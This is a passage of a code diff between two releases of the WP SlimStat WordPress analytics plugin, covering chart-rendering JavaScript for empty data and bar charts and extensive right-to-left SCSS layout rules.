chartId) {\n+    function isAllZeroDatasets(datasets) {\n+        if (!Array.isArray(datasets) || datasets.length === 0) {\n+            return true;\n+        }\n+        for (var i = 0; i \u003C datasets.length; i++) {\n+            var ds = datasets[i];\n+            if (!ds || !Array.isArray(ds.data)) {\n+                continue;\n+            }\n+            for (var j = 0; j \u003C ds.data.length; j++) {\n+                var v = ds.data[j];\n+                if (typeof v === \"number\" && v > 0) {\n+                    return false;\n+                }\n+            }\n+        }\n+        return true;\n+    }\n+\n+    function createChart(ctx, labels, prevLabels, datasets, prevDatasets, total, unitTime, today, translations, daysBetween, chartId, chartType) {\n         var isRTL = document.documentElement.dir === \"rtl\" || document.body.classList.contains(\"rtl\");\n \n         var customCrosshair = {\n@@ -254,6 +303,25 @@\n                 ctx2.restore();\n             },\n         };\n+        var emptyLine = {\n+            id: \"emptyLine\",\n+            afterDraw: function (chart) {\n+                var opts = chart.options && chart.options.plugins && chart.options.plugins.emptyLine;\n+                if (!opts || !opts.enabled) return;\n+                var area = chart.chartArea;\n+                if (!area) return;\n+                var ctx2 = chart.ctx;\n+                var y = (area.top + area.bottom) \u002F 2;\n+                ctx2.save();\n+                ctx2.strokeStyle = opts.color || \"#e8294c\";\n+                ctx2.lineWidth = 2;\n+                ctx2.beginPath();\n+                ctx2.moveTo(area.left, y);\n+                ctx2.lineTo(area.right, y);\n+                ctx2.stroke();\n+                ctx2.restore();\n+            },\n+        };\n \n         var maxTicks = 8;\n         var uniqueTickIndexes = [];\n@@ -339,17 +407,85 @@\n                     return slimstatGetLabel(label, false, unitTime, translations);\n                 } catch (e) {\n                     console.warn(\"SlimStat: Error processing label:\", label, e);\n-                    return label; \u002F\u002F Return original label if processing fails\n+                    return label;\n                 }\n             }\n             return \"\";\n         }\n \n+        \u002F\u002F Prepare datasets with chart type\n+        var preparedDatasets = datasets.concat(prevDatasets);\n+        var isEmptyCurrent = isAllZeroDatasets(datasets);\n+\n+        if (isEmptyCurrent && labels.length === 0) {\n+            labels = [\"\"];\n+            for (var ed = 0; ed \u003C preparedDatasets.length; ed++) {\n+                if (!Array.isArray(preparedDatasets[ed].data)) {\n+                    preparedDatasets[ed].data = [0];\n+                } else if (preparedDatasets[ed].data.length === 0) {\n+                    preparedDatasets[ed].data = [0];\n+                }\n+            }\n+        }\n+\n+        if (isEmptyCurrent) {\n+            preparedDatasets.unshift({\n+                label: \"\",\n+                key: \"__empty__\",\n+                skipLegend: true,\n+                type: \"line\",\n+                data: labels.map(function () {\n+                    return 0;\n+                }),\n+                borderColor: \"#e8294c\",\n+                backgroundColor: \"transparent\",\n+                borderWidth: 2,\n+                fill: false,\n+                tension: 0,\n+                pointRadius: 0,\n+                pointHoverRadius: 0,\n+                pointHitRadius: 0,\n+                hitRadius: 0,\n+            });\n+        }\n+\n+        for (var d = 0; d \u003C preparedDatasets.length; d++) {\n+            var ds = preparedDatasets[d];\n+            if (chartType === \"bar\") {\n+                \u002F\u002F Only set backgroundColor if it's not already a function (for peak highlighting)\n+                if (typeof ds.backgroundColor !== \"function\") {\n+                    ds.backgroundColor = ds.backgroundColor || ds.borderColor + \"40\";\n+                }\n+                ds.borderRadius = 6;\n+                ds.borderSkipped = false;\n+                ds.categoryPercentage = 0.8;\n+                ds.barPercentage = 0.9;\n+            }\n+        }\n+\n+        var yScale = {\n+            ticks: {\n+                font: {\n+                    family: \"Open Sans, sans-serif\",\n+                },\n+                color: \"#222\",\n+            },\n+            grid: {\n+                display: false,\n+            },\n+        };\n+\n+        if (isEmptyCurrent) {\n+            yScale.min = -1;\n+            yScale.max = 1;\n+            yScale.ticks.stepSize = 1;\n+        }\n+\n         return new Chart(ctx, {\n-            type: \"line\",\n+            type: chartType || \"line\",\n             data: {\n                 labels: labels,\n-                datasets: datasets.concat(prevDatasets),\n+                datasets: preparedDatasets,\n             },\n             options: {\n                 layout: { padding: 20 },\n@@ -388,6 +524,10 @@\n                         titleColor: \"#222\",\n                         bodyColor: \"#222\",\n                     },\n+                    emptyLine: {\n+                        enabled: isEmptyCurrent,\n+                        color: \"#e8294c\",\n+                    },\n                 },\n                 scales: {\n                     x: {\n@@ -409,15 +549,10 @@\n                         },\n                     },\n                     y: {\n-                        ticks: {\n-                            font: {\n-                                family: \"Open Sans, sans-serif\",\n-                            },\n-                            color: \"#222\",\n-                        },\n-                        grid: {\n-                            display: false,\n-                        },\n+                        ticks: yScale.ticks,\n+                        grid: yScale.grid,\n+                        min: yScale.min,\n+                        max: yScale.max,\n                     },\n                 },\n                 maintainAspectRatio: false,\n@@ -433,7 +568,7 @@\n                     mode: \"index\",\n                 },\n             },\n-            plugins: [customCrosshair],\n+            plugins: [customCrosshair, emptyLine],\n         });\n     }\n \n@@ -443,6 +578,9 @@\n         for (var di = 0; di \u003C chart.data.datasets.length; di++) {\n             (function (index) {\n                 var dataset = chart.data.datasets[index];\n+                if (dataset.skipLegend) {\n+                    return;\n+                }\n                 var isPrevious = dataset.label.indexOf(\"Previous\") !== -1;\n                 if (isPrevious) {\n                     return;\n@@ -459,7 +597,7 @@\n                 html += '\u003Cspan class=\"slimstat-postbox-chart--item-label\">' + dataset.label + \"\u003C\u002Fspan>\";\n                 html += '\u003Cspan class=\"slimstat-postbox-chart--item--color\" style=\"background-color: ' + dataset.borderColor + '\">\u003C\u002Fspan>';\n                 html += '\u003Cspan class=\"slimstat-postbox-chart--item-value\">' + currentValue.toLocaleString() + \"\u003C\u002Fspan>\";\n-                if (previousValue && previousValue !== currentValue) {\n+                if (totals.previous && totals.previous[key] != null) {\n                     html += '\u003Cspan class=\"slimstat-postbox-chart--item--color\" style=\"background-image: repeating-linear-gradient(to right, ' + dataset.borderColor + \", \" + dataset.borderColor + ' 4px, transparent 0px, transparent 6px); background-size: auto 6px; height: 2px; margin-bottom: 0px; margin-left: 10px;\">\u003C\u002Fspan>';\n                     html += '\u003Cspan class=\"slimstat-postbox-chart--item-value\">' + previousValue.toLocaleString() + \"\u003C\u002Fspan>\";\n                 }\n@@ -627,7 +765,7 @@\n                     }\n                 } catch (e) {\n                     console.warn(\"SlimStat: Error processing monthly label:\", label, e);\n-                    return label; \u002F\u002F Return original label if processing fails\n+                    return label;\n                 }\n             }\n             \u002F\u002F Debug: Log labels that don't match the expected format\n@@ -762,20 +900,7 @@\n                 innerHtml += \"\u003C\u002Ftd>\u003C\u002Ftr>\";\n             }\n             innerHtml += \"\u003C\u002Ftbody>\";\n-            innerHtml +=\n-                '\u003Cdiv class=\"align-indicator\" style=\"\\\n-                width: 15px;\\\n-                height: 15px;\\\n-                background-color: #fff;\\\n-                border-bottom-left-radius: 5px;\\\n-                display: inline-block;\\\n-                position: absolute;\\\n-                bottom: -8px;\\\n-                border-bottom: solid 1px #e0e0e0;\\\n-                border-left: solid 1px #e0e0e0;\\\n-                transform: rotate(-45deg);\\\n-                transition: left 0.1s ease;\\\n-            \">\u003C\u002Fdiv>';\n+            innerHtml += '\u003Cdiv class=\"align-indicator\" style=\"' + \"width: 15px;\" + \"height: 15px;\" + \"background-color: #fff;\" + \"border-bottom-left-radius: 5px;\" + \"display: inline-block;\" + \"position: absolute;\" + \"bottom: -8px;\" + \"border-bottom: solid 1px #e0e0e0;\" + \"border-left: solid 1px #e0e0e0;\" + \"transform: rotate(-45deg);\" + \"transition: left 0.1s ease;\" + '\">\u003C\u002Fdiv>';\n \n             tooltipEl.querySelector(\"table\").innerHTML = innerHtml;\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fscss\u002Fadmin.scss \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fscss\u002Fadmin.scss\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fscss\u002Fadmin.scss\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fscss\u002Fadmin.scss\t2026-03-08 13:29:08.000000000 +0000\n@@ -26,7 +26,8 @@\n   &.slimstat_page_slimview5,\n   &.slimstat_page_slimconfig,\n   &.slimstat_page_slimpro,\n-  &.slimstat_page_slimlayout {\n+  &.slimstat_page_slimlayout,\n+  &.slimstat_page_migration {\n     background: #f5f6fa !important;\n   }\n }\n@@ -60,6 +61,7 @@\n   }\n \n   .slimstat-browser-icon,\n+  .slimstat-flag-icon,\n   span.slimstat-flag-container {\n     position: relative !important;\n     width: 18px;\n@@ -142,10 +144,19 @@\n     justify-content: center;\n     \u002F\u002F align-items: center;\n \n+    [dir=\"rtl\"] & {\n+      margin-left: 0;\n+      margin-right: 0px;\n+    }\n+\n     @media (max-width: 768px) {\n       margin-left: 0;\n       min-width: 100%;\n       max-width: 100%;\n+\n+      [dir=\"rtl\"] & {\n+        margin-right: 0;\n+      }\n     }\n   }\n \n@@ -227,6 +238,11 @@\n   .top-countries {\n     margin-left: 0;\n     margin-top: 20px;\n+\n+    [dir=\"rtl\"] & {\n+      margin-left: 0;\n+      margin-right: 0;\n+    }\n   }\n }\n \n@@ -293,10 +309,19 @@\n     justify-content: center;\n     \u002F\u002F align-items: center;\n \n+    [dir=\"rtl\"] & {\n+      margin-left: 0;\n+      margin-right: 30px;\n+    }\n+\n     @media (max-width: 768px) {\n       margin-left: 0;\n       min-width: 100%;\n       max-width: 100%;\n+\n+      [dir=\"rtl\"] & {\n+        margin-right: 0;\n+      }\n     }\n   }\n \n@@ -379,6 +404,11 @@\n     .top-countries {\n       margin-left: 0;\n       margin-top: 20px;\n+\n+      [dir=\"rtl\"] & {\n+        margin-left: 0;\n+        margin-right: 0;\n+      }\n     }\n   }\n }\n@@ -392,7 +422,8 @@\n   &.slimstat_page_slimview5,\n   &.slimstat_page_slimconfig,\n   &.slimstat_page_slimpro,\n-  &.slimstat_page_slimlayout {\n+  &.slimstat_page_slimlayout,\n+  &.slimstat_page_migration {\n     .jqvmap-label {\n       z-index: 999999;\n       position: absolute !important;\n@@ -455,6 +486,11 @@\n .export-pro-badge {\n   margin-left: 3px;\n   margin-bottom: -5px;\n+\n+  [dir=\"rtl\"] & {\n+    margin-left: 0;\n+    margin-right: 3px;\n+  }\n }\n \n \u002F\u002F Old Styles\n@@ -496,7 +532,7 @@\n   right: 0;\n   z-index: 1;\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     left: 0;\n     right: auto;\n   }\n@@ -539,7 +575,7 @@\n   z-index: 120;\n   border-radius: 8px;\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     right: auto;\n     left: -4px;\n   }\n@@ -569,7 +605,7 @@\n   float: right;\n   margin: 2px 5px 0 0;\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     margin: 2px 0 0 5px;\n   }\n }\n@@ -626,7 +662,7 @@\n     margin-right: -0.5%;\n   }\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     margin-right: 0;\n     margin-left: -1.3%;\n \n@@ -868,14 +904,15 @@\n   &.slimstat_page_slimview4,\n   &.slimstat_page_slimview5,\n   &.slimstat_page_slimconfig,\n+  &.slimstat_page_migration,\n   &.slimstat_page_slimpro,\n   &.slimstat_page_slimlayout {\n     \u002F* Hide all non-Slimstat notices in the admin *\u002F\n-    div[class*=\"-notice\"]:not(.slimstat-notice),\n-    div[class*=\"admin-notice\"]:not(.slimstat-notice),\n-    .notice:not(.slimstat-notice),\n-    .update-nag:not(.slimstat-notice),\n-    .error:not(.slimstat-notice) {\n+    div[class*=\"-notice\"]:not(.slimstat-notice):not(.slimstat-migration-notice),\n+    div[class*=\"admin-notice\"]:not(.slimstat-notice):not(.slimstat-migration-notice),\n+    .notice:not(.slimstat-notice):not(.slimstat-migration-notice),\n+    .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),\n+    .error:not(.slimstat-notice):not(.slimstat-migration-notice) {\n       display: none !important;\n     }\n   }\n@@ -984,6 +1021,15 @@\n .form-table {\n   border: 1px solid #ccc;\n   margin-top: 0;\n+  overflow: hidden;\n+\n+  *:not(.bootstrap-switch-container):not(input):not(button):not(label):not(select):not(textarea):not(a):not(code):not(pre):not(.description) {\n+    max-width: 100%;\n+    overflow: hidden;\n+    text-overflow: ellipsis;\n+    white-space: nowrap;\n+    text-wrap: auto;\n+  }\n }\n \n .form-table th {\n@@ -1040,6 +1086,11 @@\n \n .wp-list-table.slimstat-addons tbody th {\n   border-left: 5px solid #ccc;\n+\n+  [dir=\"rtl\"] & {\n+    border-left: 0;\n+    border-right: 5px solid #ccc;\n+  }\n }\n \n .wp-list-table.slimstat-addons th,\n@@ -1051,6 +1102,10 @@\n   border-color: #10a062;\n   border-style: solid;\n   border-radius: 0 0 0 5px;\n+\n+  [dir=\"rtl\"] & {\n+    border-radius: 0 0 5px 0;\n+  }\n }\n \n .wp-list-table.slimstat-addons .active td {\n@@ -1118,6 +1173,262 @@\n   padding: 0 0 0 30px;\n }\n \n+\u002F* Additional RTL Support for Dashboard Elements *\u002F\n+.rtl .slimstat-browser-icon,\n+.rtl .slimstat-flag-icon,\n+.rtl span.slimstat-flag-container {\n+  float: right !important;\n+  margin: 0px 0px 0px 10px !important;\n+}\n+\n+.rtl .slimstat-author-link img {\n+  float: right !important;\n+  margin: 0px 0px 0px 10px !important;\n+}\n+\n+.rtl .slimstat-float-right {\n+  float: left;\n+}\n+\n+.rtl #slimstat-date-filters .dropdown .ui-datepicker-trigger {\n+  float: left;\n+  margin: 2px 0 0 5px;\n+}\n+\n+.rtl #slimstat-current-filters .slimstat-filter-list {\n+  float: right;\n+  padding: 4px 5px 5px 0;\n+}\n+\n+.rtl .slimstat-filter-action-button {\n+  float: left;\n+  margin-right: 10px !important;\n+  margin-left: 0 !important;\n+}\n+\n+.rtl .wrap.slimstat .sortable-placeholder {\n+  float: right;\n+}\n+\n+.rtl [id^=\"slim_\"] p.pagination a {\n+  float: left;\n+  margin-right: 5px;\n+  margin-left: 0;\n+}\n+\n+.rtl [id^=\"slim_\"] p span {\n+  float: left;\n+}\n+\n+.rtl [id^=\"slim_\"] p span.pageview-screenres {\n+  margin-right: 10px;\n+  margin-left: 0;\n+}\n+\n+.rtl [id^=\"slim_\"] .inline-icon {\n+  margin-left: 5px;\n+  margin-right: 0;\n+}\n+\n+.rtl [id^=\"slim_\"] .spaced {\n+  margin-right: 15px;\n+  margin-left: 0;\n+}\n+\n+.rtl .little-color-box {\n+  float: right;\n+  margin-left: 10px;\n+  margin-right: 0;\n+}\n+\n+.rtl .ui-dialog.slimstat .ui-dialog-titlebar-close {\n+  float: left;\n+}\n+\n+.rtl [class*=\"bootstrap-switch-id-addon_network_settings\"] {\n+  float: left;\n+}\n+\n+.rtl .slimstat-layout .postbox,\n+.rtl .slimstat-layout .sortable-placeholder {\n+  float: right;\n+  margin: 0 0 10px 10px;\n+}\n+\n+.rtl .ui-datepicker .ui-datepicker-buttonpane button {\n+  float: left;\n+}\n+\n+.rtl .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {\n+  float: right;\n+}\n+\n+.rtl .ui-datepicker-multi .ui-datepicker-group {\n+  float: right;\n+}\n+\n+.rtl .tag-editor li {\n+  float: right;\n+}\n+\n+.rtl .tag-editor div {\n+  float: right;\n+}\n+\n+.rtl .tag-editor .tag-editor-tag {\n+  padding-right: 5px;\n+  padding-left: 0;\n+  border-radius: 2px 0 0 2px;\n+}\n+\n+.rtl .tag-editor .tag-editor-delete {\n+  padding-right: 4px;\n+  padding-left: 3px;\n+  border-radius: 0 2px 2px 0;\n+}\n+\n+.rtl .ui-autocomplete {\n+  right: 0;\n+  left: auto;\n+}\n+\n+.rtl .backdrop-container {\n+  @media (min-width: 780px) {\n+    margin-right: -20px;\n+    margin-left: 0;\n+    padding-right: 20px;\n+    padding-left: 0;\n+  }\n+}\n+\n+.rtl .slimstat-filter-link .avatar {\n+  margin-left: 2px;\n+  margin-right: 0;\n+}\n+\n+.rtl #slimstat-date-filters a.slimstat-filter-link {\n+  float: right;\n+  margin: 0 0 5px 5px;\n+}\n+\n+.rtl .slimstat-header-buttons {\n+  float: left;\n+}\n+\n+.rtl .slimstat-header-buttons a.slimstat-font-download span.dashicons::before {\n+  margin-left: 2px;\n+  margin-right: 0;\n+}\n+\n+.rtl .slimstat-browser-icon,\n+.rtl .slimstat-flag-icon,\n+.rtl span.slimstat-flag-container {\n+  float: right !important;\n+  margin: 0px 0px 0px 10px !important;\n+}\n+\n+.rtl .slimstat-author-link img {\n+  float: right !important;\n+  margin: 0px 0px 0px 10px !important;\n+}\n+\n+.rtl .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap {\n+  right: 0;\n+  left: auto;\n+  margin: 0px 15px 0px 0px;\n+}\n+\n+.rtl .pagination {\n+  right: 0;\n+  left: auto;\n+}\n+\n+.rtl .slimstat-header {\n+  margin-right: -20px;\n+  margin-left: 0;\n+}\n+\n+.rtl .slimstat-header .go-pro {\n+  text-align: right;\n+}\n+\n+.rtl .slimstat-header .go-pro p {\n+  text-align: right;\n+}\n+\n+.rtl .slimstat-header .pro-badge {\n+  right: auto;\n+  left: 20px;\n+}\n+\n+.rtl .slimstat-header .pro-badge .icon {\n+  margin-left: 7px;\n+  margin-right: 0;\n+}\n+\n+.rtl .slimstat-header .go-pro a .icon {\n+  margin-left: 0;\n+  margin-right: 5px;\n+  transform: scaleX(-1);\n+}\n+\n+.rtl .slimstat-pro-modal #slimstat-pro-modal-close {\n+  left: 10%;\n+  right: auto;\n+}\n+\n+.rtl .slimstat-pro-modal .features-flex-box .feature-item h6 .icon {\n+  margin-left: 7px;\n+  margin-right: 0;\n+}\n+\n+.rtl .slimstat-pro-modal .features-flex-box .feature-item .more-info-icon {\n+  margin-right: 3px;\n+  margin-left: 0;\n+}\n+\n+\u002F* RTL Support for responsive elements *\u002F\n+@media screen and (max-width: 800px) {\n+  .rtl #slimstat-date-filters {\n+    left: inherit;\n+    right: inherit;\n+  }\n+}\n+\n+@media screen and (max-width: 600px) {\n+  .rtl [id^=\"slim_\"] .spaced {\n+    margin-right: 5px;\n+    margin-left: 5px;\n+  }\n+\n+  .rtl [id^=\"slim_\"] .inline-icon {\n+    margin-left: 2px;\n+    margin-right: 0;\n+  }\n+\n+  .rtl [id^=\"slim_\"] p span.pageview-screenres {\n+    margin-right: 3px;\n+    margin-left: 0;\n+  }\n+}\n+\n+@media screen and (max-width: 400px) {\n+  .rtl [id^=\"slim_\"] .spaced {\n+    margin-right: 8px;\n+    margin-left: 8px;\n+  }\n+\n+  .rtl [id^=\"slim_\"] .inline-icon {\n+    margin-left: 3px;\n+    margin-right: 0;\n+  }\n+\n+  .rtl [id^=\"slim_\"] p span.pageview-screenres {\n+    margin-right: 5px;\n+    margin-left: 0;\n+  }\n+}\n+\n \u002F* Customizer *\u002F\n .slimstat-layout .postbox-container {\n   float: none;\n@@ -1147,6 +1458,19 @@\n   min-width: 285px;\n }\n \n+.slimstat-layout .sortable-placeholder {\n+  border: 2px dashed #72aee6;\n+  background-color: #f0f6fc;\n+  visibility: visible !important;\n+  height: 80px;\n+  border-radius: 5px;\n+}\n+\n+.slimstat-layout .postbox.ui-sortable-helper {\n+  opacity: 0.65;\n+  box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);\n+}\n+\n .slimstat-layout h3 {\n   border: 0;\n   font-weight: 300;\n@@ -1731,12 +2055,20 @@\n   padding: 5px 9px;\n   text-align: left;\n   word-wrap: break-word;\n+\n+  [dir=\"rtl\"] & {\n+    text-align: right;\n+  }\n }\n \n .qtip-titlebar {\n   padding: 5px 35px 5px 10px;\n   border-radius: 0 0 1px;\n   font-weight: 700;\n+\n+  [dir=\"rtl\"] & {\n+    padding: 5px 10px 5px 35px;\n+  }\n }\n \n .qtip-titlebar + .qtip-content {\n@@ -1751,12 +2083,22 @@\n   cursor: pointer;\n   outline: 0;\n   border: 1px solid transparent;\n+\n+  [dir=\"rtl\"] & {\n+    right: auto;\n+    left: -9px;\n+  }\n }\n \n .qtip-titlebar .qtip-close {\n   right: 4px;\n   top: 50%;\n   margin-top: -9px;\n+\n+  [dir=\"rtl\"] & {\n+    right: auto;\n+    left: 4px;\n+  }\n }\n \n * html .qtip-titlebar .qtip-close {\n@@ -1806,6 +2148,10 @@\n   text-decoration: none !important;\n   transform: translateX(9px) translateY(-1px);\n \n+  [dir=\"rtl\"] & {\n+    transform: translateX(-9px) translateY(-1px);\n+  }\n+\n   strong {\n     color: #fff;\n     font-weight: 700;\n@@ -1857,12 +2203,22 @@\n   line-height: unset !important;\n   border-top-right-radius: 4px;\n   display: inline-block;\n+\n+  [dir=\"rtl\"] & {\n+    border-top-right-radius: 0;\n+    border-top-left-radius: 4px;\n+  }\n }\n \n .qtip .qtip-tip canvas {\n   top: 0;\n   left: 0;\n   display: none !important;\n+\n+  [dir=\"rtl\"] & {\n+    left: auto;\n+    right: 0;\n+  }\n }\n \n .qtip .qtip-tip .qtip-vml {\n@@ -1922,10 +2278,20 @@\n \n .ui-datepicker .ui-datepicker-prev {\n   left: 2px;\n+\n+  [dir=\"rtl\"] & {\n+    left: auto;\n+    right: 2px;\n+  }\n }\n \n .ui-datepicker .ui-datepicker-next {\n   right: 2px;\n+\n+  [dir=\"rtl\"] & {\n+    right: auto;\n+    left: 2px;\n+  }\n }\n \n .ui-datepicker .ui-datepicker-title {\n@@ -1973,6 +2339,10 @@\n   padding: 0.2em;\n   text-align: right;\n   text-decoration: none;\n+\n+  [dir=\"rtl\"] & {\n+    text-align: left;\n+  }\n }\n \n .ui-datepicker .ui-datepicker-buttonpane {\n@@ -1982,6 +2352,11 @@\n   border-left: 0;\n   border-right: 0;\n   border-bottom: 0;\n+\n+  [dir=\"rtl\"] & {\n+    border-left: 0;\n+    border-right: 0;\n+  }\n }\n \n .ui-datepicker .ui-datepicker-buttonpane button {\n@@ -1991,10 +2366,18 @@\n   padding: 0.2em 0.6em 0.3em;\n   width: auto;\n   overflow: visible;\n+\n+  [dir=\"rtl\"] & {\n+    float: left;\n+  }\n }\n \n .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {\n   float: left;\n+\n+  [dir=\"rtl\"] & {\n+    float: right;\n+  }\n }\n \n .ui-datepicker.ui-datepicker-multi {\n@@ -2003,6 +2386,10 @@\n \n .ui-datepicker-multi .ui-datepicker-group {\n   float: left;\n+\n+  [dir=\"rtl\"] & {\n+    float: right;\n+  }\n }\n \n .ui-datepicker-multi .ui-datepicker-group table {\n@@ -2025,10 +2412,19 @@\n .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,\n .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {\n   border-left-width: 0;\n+\n+  [dir=\"rtl\"] & {\n+    border-left-width: 1px;\n+    border-right-width: 0;\n+  }\n }\n \n .ui-datepicker-multi .ui-datepicker-buttonpane {\n   clear: left;\n+\n+  [dir=\"rtl\"] & {\n+    clear: right;\n+  }\n }\n \n .ui-datepicker-row-break {\n@@ -2063,21 +2459,38 @@\n \n .ui-datepicker-rtl .ui-datepicker-buttonpane {\n   clear: right;\n+\n+  [dir=\"rtl\"] & {\n+    clear: left;\n+  }\n }\n \n .ui-datepicker-rtl .ui-datepicker-buttonpane button {\n   float: left;\n+\n+  [dir=\"rtl\"] & {\n+    float: right;\n+  }\n }\n \n .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,\n .ui-datepicker-rtl .ui-datepicker-group {\n   float: right;\n+\n+  [dir=\"rtl\"] & {\n+    float: left;\n+  }\n }\n \n .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,\n .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {\n   border-right-width: 0;\n   border-left-width: 1px;\n+\n+  [dir=\"rtl\"] & {\n+    border-right-width: 1px;\n+    border-left-width: 0;\n+  }\n }\n \n \u002F*! bootstrap-switch - v3.3.4 | https:\u002F\u002Fwww.bootstrap-switch.org *\u002F\n@@ -2100,6 +2513,11 @@\n   -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n   -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n   transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n+\n+  [dir=\"rtl\"] & {\n+    direction: rtl;\n+    text-align: right;\n+  }\n }\n \n .bootstrap-switch .bootstrap-switch-container {\n@@ -2178,11 +2596,25 @@\n .bootstrap-switch .bootstrap-switch-handle-on {\n   border-bottom-left-radius: 3px;\n   border-top-left-radius: 3px;\n+\n+  [dir=\"rtl\"] & {\n+    border-bottom-left-radius: 0;\n+    border-top-left-radius: 0;\n+    border-bottom-right-radius: 3px;\n+    border-top-right-radius: 3px;\n+  }\n }\n \n .bootstrap-switch .bootstrap-switch-handle-off {\n   border-bottom-right-radius: 3px;\n   border-top-right-radius: 3px;\n+\n+  [dir=\"rtl\"] & {\n+    border-bottom-right-radius: 0;\n+    border-top-right-radius: 0;\n+    border-bottom-left-radius: 3px;\n+    border-top-left-radius: 3px;\n+  }\n }\n \n .bootstrap-switch input[type=\"radio\"],\n@@ -2194,6 +2626,11 @@\n   z-index: -1;\n   opacity: 0 !important;\n   filter: alpha(opacity=0);\n+\n+  [dir=\"rtl\"] & {\n+    left: auto;\n+    right: 0;\n+  }\n }\n \n .bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-off,\n@@ -2244,26 +2681,54 @@\n   -webkit-transition: margin-left 0.5s;\n   -o-transition: margin-left 0.5s;\n   transition: margin-left 0.5s;\n+\n+  [dir=\"rtl\"] & {\n+    -webkit-transition: margin-right 0.5s;\n+    -o-transition: margin-right 0.5s;\n+    transition: margin-right 0.5s;\n+  }\n }\n \n .bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-on {\n   border-radius: 0 3px 3px 0;\n+\n+  [dir=\"rtl\"] & {\n+    border-radius: 3px 0 0 3px;\n+  }\n }\n \n .bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-off {\n   border-radius: 3px 0 0 3px;\n+\n+  [dir=\"rtl\"] & {\n+    border-radius: 0 3px 3px 0;\n+  }\n }\n \n .bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-off .bootstrap-switch-label,\n .bootstrap-switch.bootstrap-switch-on .bootstrap-switch-label {\n   border-bottom-right-radius: 3px;\n   border-top-right-radius: 3px;\n+\n+  [dir=\"rtl\"] & {\n+    border-bottom-right-radius: 0;\n+    border-top-right-radius: 0;\n+    border-bottom-left-radius: 3px;\n+    border-top-left-radius: 3px;\n+  }\n }\n \n .bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-on .bootstrap-switch-label,\n .bootstrap-switch.bootstrap-switch-off .bootstrap-switch-label {\n   border-bottom-left-radius: 3px;\n   border-top-left-radius: 3px;\n+\n+  [dir=\"rtl\"] & {\n+    border-bottom-left-radius: 0;\n+    border-top-left-radius: 0;\n+    border-bottom-right-radius: 3px;\n+    border-top-right-radius: 3px;\n+  }\n }\n \n \u002F* jQuery tagEditor v1.0.21 | https:\u002F\u002Fgithub.com\u002FPixabay\u002FjQuery-tagEditor *\u002F\n@@ -2278,6 +2743,10 @@\n   color: #555;\n   background: #fff;\n   line-height: 20px;\n+\n+  [dir=\"rtl\"] & {\n+    padding: 0 0 0 5px;\n+  }\n }\n \n .tag-editor li {\n@@ -2285,11 +2754,19 @@\n   float: left;\n   overflow: hidden;\n   margin: 3px 0;\n+\n+  [dir=\"rtl\"] & {\n+    float: right;\n+  }\n }\n \n .tag-editor div {\n   float: left;\n   padding: 0 4px;\n+\n+  [dir=\"rtl\"] & {\n+    float: right;\n+  }\n }\n \n .tag-editor .placeholder {\n@@ -2303,6 +2780,10 @@\n   overflow: hidden;\n   color: transparent;\n   background: none;\n+\n+  [dir=\"rtl\"] & {\n+    width: 8px;\n+  }\n }\n \n .tag-editor input {\n@@ -2323,7 +2804,21 @@\n \n .tag-editor-hidden-src {\n   position: absolute !important;\n-  left: -99999px;\n+  left: 0;\n+  top: 0;\n+  width: 1px;\n+  height: 1px;\n+  overflow: hidden;\n+  clip: rect(0 0 0 0);\n+  white-space: nowrap;\n+  padding: 0;\n+  margin: 0;\n+  border: 0;\n+\n+  [dir=\"rtl\"] & {\n+    left: auto;\n+    right: 0;\n+  }\n }\n \n .tag-editor ::-ms-clear {\n@@ -2338,6 +2833,12 @@\n   overflow: hidden;\n   cursor: pointer;\n   border-radius: 2px 0 0 2px;\n+\n+  [dir=\"rtl\"] & {\n+    padding-left: 0;\n+    padding-right: 5px;\n+    border-radius: 0 2px 2px 0;\n+  }\n }\n \n .tag-editor .tag-editor-delete {\n@@ -2346,6 +2847,12 @@\n   border-radius: 0 2px 2px 0;\n   padding-left: 3px;\n   padding-right: 4px;\n+\n+  [dir=\"rtl\"] & {\n+    padding-left: 4px;\n+    padding-right: 3px;\n+    border-radius: 2px 0 0 2px;\n+  }\n }\n \n .tag-editor .tag-editor-delete i {\n@@ -2380,6 +2887,11 @@\n   left: 0;\n   cursor: default;\n   font-size: 14px;\n+\n+  [dir=\"rtl\"] & {\n+    left: auto;\n+    right: 0;\n+  }\n }\n \n .ui-front {\n@@ -2433,6 +2945,13 @@\n     margin-top: -20px;\n     padding-left: 20px;\n     padding-top: 20px;\n+\n+    [dir=\"rtl\"] & {\n+      margin-left: 0;\n+      margin-right: -20px;\n+      padding-left: 0;\n+      padding-right: 20px;\n+    }\n   }\n }\n 